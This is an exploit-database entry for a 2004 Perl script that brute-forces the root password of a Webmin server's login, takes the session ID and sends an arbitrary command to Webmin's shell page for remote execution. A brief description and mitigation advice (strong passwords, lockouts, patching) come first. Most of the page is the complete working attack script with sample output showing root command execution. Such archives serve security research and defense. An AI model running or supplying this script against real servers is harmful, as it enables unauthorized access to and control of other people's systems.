Webmin BruteForce + Command execution

vendor:

Webmin

by:

Di42lo

7.5

CVSS

HIGH

Brute Force

CWE

Product Name: Webmin

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Webmin BruteForce + Command execution

This exploit allows an attacker to perform a brute force attack and execute commands on a Webmin server. It takes a target host and a command as input. It tries different passwords until it finds a valid session ID (SID). Once the SID is found, it connects to the host again and sends a buffer containing the command to be executed.

Mitigation:

To mitigate this vulnerability, ensure that strong passwords are used for Webmin accounts and consider implementing account lockouts or rate limiting to prevent brute force attacks. Additionally, keep Webmin up to date with the latest security patches.

Source

Exploit-DB raw data:

#!/usr/bin/perl
##
# Webmin BruteForce + Command execution - By Di42lo <DiAblo_2@012.net.il>
# 
# usage 
# ./bruteforce.webmin.pl <host> <command>
#
#./bruteforce.webmin.pl 192.168.0.5 "uptime"
# [+] BruteForcing...
# [+] trying to enter with: admim
# [+] trying to enter with: admin
# [+] Found SID : f3231ff32849fa0c8c98487ba8c09dbb
# [+] Password : admin
# [+] Connecting to host once again
# [+] Connected.. Sending Buffer
# [+] Buffer sent...running command uptime
# root logged into Webmin 1.170 on linux (SuSE Linux 9.1)
# 10:55pm up 23 days 9:03, 1 user, load average: 0.20, 0.05, 0.01

use IO::Socket;
if (@ARGV<2){ print "Webmin BruteForcer\nusage:\n$0 <host> <command>\n"; exit; }
my $host=$ARGV[0];
my $cmd=$ARGV[1];
#start pass:
my $pass="a";
my $chk=0;
my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000")
|| die "[-] Webmin on this host does not exist\r\n";
$sock->close;
print "[+] BruteForcing...\n";
my $sid;
while ($chk!=1) {
$pass++;
my $pass_line="page=%2F&user=root&pass=$pass";
my $buffer="POST /session_login.cgi HTTP/1.0\n".
"Host: $host:10000\n".
"Keep-Alive: 300\n".
"Connection: keep-alive\n".
"Referer: http://$host:10000/\n".
"Cookie: testing=1\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: __\n".
"\n".
$pass_line."\n\n";
my $line_size=length($pass_line);
$buffer=~s/__/$line_size/g;
my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000");
if ($sock)
{
print "[+] trying to enter with: $pass\n";
print $sock $buffer;
while ($answer=<$sock>)
{
if ($answer=~/sid=(.*);/g)
{
$chk=1;
$sid=$1;
print "[+] Found SID : $sid\n";
print "[+] Password : $pass\n";
}
}
}
$sock->close;
}
print "[+] Connecting to host once again\n";
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000") ||
die "[-] Cant Connect once again for command execution\n";
print "[+] Connected.. Sending Buffer\n";
my $temp="-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"cmd\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"pwd\"\n".
"\n".
"/root\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"history\"\n".
"\n".
"\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"previous\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"pcmd\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604--\n\n";
my $buffer_size=length($temp);
$buffer="POST /shell/index.cgi HTTP/1.1\n".
"Host: $host:10000\n".
"Keep-Alive: 300\n".
"Connection: keep-alive\n".
"Referer: http://$host:10000/shell/\n".
"Cookie: sid=$sid\; testing=1; x\n".
"Content-Type: multipart/form-data; boundary=---------------------------19777347561180971495777867604\n".
"Content-Length: siz\n".
"\n".
$temp;
$buffer=~s/siz/$buffer_size/g;
print $sock $buffer;

if ($sock)
{
print "[+] Buffer sent...running command $cmd\n";
print $sock $buffer;

while ($answer=<$sock>)
{
#print $answer;
if ($answer=~/defaultStatus="(.*)";/g) { print $1."\n";}
if ($answer=~/<td><pre><b>&gt;/g)
{
$cmd_chk=1;
}
if ($cmd_chk==1) 
{ 
if ($answer=~/<\/pre><\/td><\/tr>/g)
{
exit;
} else { print $answer; }
}
}
} 

# milw0rm.com [2004-12-22]